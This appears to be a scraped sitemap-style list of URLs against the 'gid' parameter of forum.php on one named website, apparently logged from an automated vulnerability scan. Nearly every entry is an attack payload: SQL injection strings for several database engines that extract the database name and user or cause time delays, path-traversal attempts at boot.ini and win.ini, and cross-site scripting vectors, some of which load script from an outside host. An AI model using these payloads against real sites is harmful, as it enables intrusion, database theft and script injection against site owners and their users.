http://www.cncml.com/forum.php?gid=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?gid=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?gid=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?gid=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?gid=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?gid=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?gid=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?gid=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?gid=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?gid=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?gid=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?gid=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?gid=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?gid=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?gid=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?gid=1 0.0010 http://www.cncml.com/forum.php?gid=1!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?gid=1%00' 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%2088=69 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%2094=26 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?gid=1%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?gid=1%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?gid=1%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?gid=1%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?gid=1%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?gid=1%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?gid=1%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?gid=1%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?gid=1%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?gid=1%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/forum.php?gid=1%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?gid=1%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=17)%20THEN%201%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?gid=1%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%201%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?gid=1%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/forum.php?gid=1%22%20AND%20%22Ev%22=%22BI 0.0001 http://www.cncml.com/forum.php?gid=1%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?gid=1%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?gid=1%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?gid=1%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?gid=1%22)%20AND%2057=41%20AND%20(%22qW%22=%22qW 0.0001 http://www.cncml.com/forum.php?gid=1%25%22%29%20AND%2064%3D27%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/forum.php?gid=1%25%27%29%20AND%2032%3D32%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?gid=1%25%27%29%20AND%2077%3D95%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20AND%2057=57%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20AND%2058=92%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=74)%20THEN%201%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(76=61)%20THEN%201%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?gid=1%2527 0.0001 http://www.cncml.com/forum.php?gid=1%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/forum.php?gid=1%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?gid=1%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?gid=1%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?gid=1%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?gid=1%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?gid=1%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?gid=1%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?gid=1%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?gid=1%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?gid=1%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?gid=1%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?gid=1%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?gid=1%5B%5D 0.0001 http://www.cncml.com/forum.php?gid=1%5C%22 0.0001 http://www.cncml.com/forum.php?gid=1%5C' 0.0001 http://www.cncml.com/forum.php?gid=1%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?gid=1%bf%27 0.0001 http://www.cncml.com/forum.php?gid=1&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/forum.php?gid=1' 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%20'00'='Gk 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%20'3H'='3H 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%20'iG'%20LIKE%20'iG 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%20'vC'%20LIKE%20'1T 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?gid=1'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?gid=1'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?gid=1'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/forum.php?gid=1'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/forum.php?gid=1'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?gid=1'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?gid=1'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%201%20ELSE%200x28%20END))%20AND%20'PN'='PN 0.0001 http://www.cncml.com/forum.php?gid=1'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(59=13)%20THEN%201%20ELSE%200x28%20END))%20AND%20'GN'='GN 0.0001 http://www.cncml.com/forum.php?gid=1'%22 0.0001 http://www.cncml.com/forum.php?gid=1'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?gid=1'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/forum.php?gid=1'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?gid=1'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%20('h5'%20LIKE%20'h5 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%20('y1'%20LIKE%20'q6 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%2062=62%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%2091=36%20AND%20('mM'='mM 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?gid=1')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?gid=1')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/forum.php?gid=1')%20OR%2016=16%20AND%20('2N'='2N 0.0001 http://www.cncml.com/forum.php?gid=1')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(29=19)%20THEN%201%20ELSE%200x28%20END))%20AND%20('1d'='1d 0.0001 http://www.cncml.com/forum.php?gid=1')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%201%20ELSE%200x28%20END))%20AND%20('mY'='mY 0.0001 http://www.cncml.com/forum.php?gid=1'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/forum.php?gid=1) 0.0001 http://www.cncml.com/forum.php?gid=1)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?gid=1)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?gid=1)%20AND%2013=13%20AND%20(13=13 0.0001 http://www.cncml.com/forum.php?gid=1)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?gid=1)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?gid=1)%20AND%2069=95%20AND%20(69=69 0.0001 http://www.cncml.com/forum.php?gid=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?gid=1)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?gid=1)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?gid=1)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/forum.php?gid=1)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(56=57)%20THEN%201%20ELSE%200x28%20END))%20AND%20(56=56 0.0001 http://www.cncml.com/forum.php?gid=1)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(88=88)%20THEN%201%20ELSE%200x28%20END))%20AND%20(59=59 0.0001 http://www.cncml.com/forum.php?gid=1,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?gid=1,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(13=13)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(21=62)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(33=33)%20THEN%201%20ELSE%2033*(SELECT%2033%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 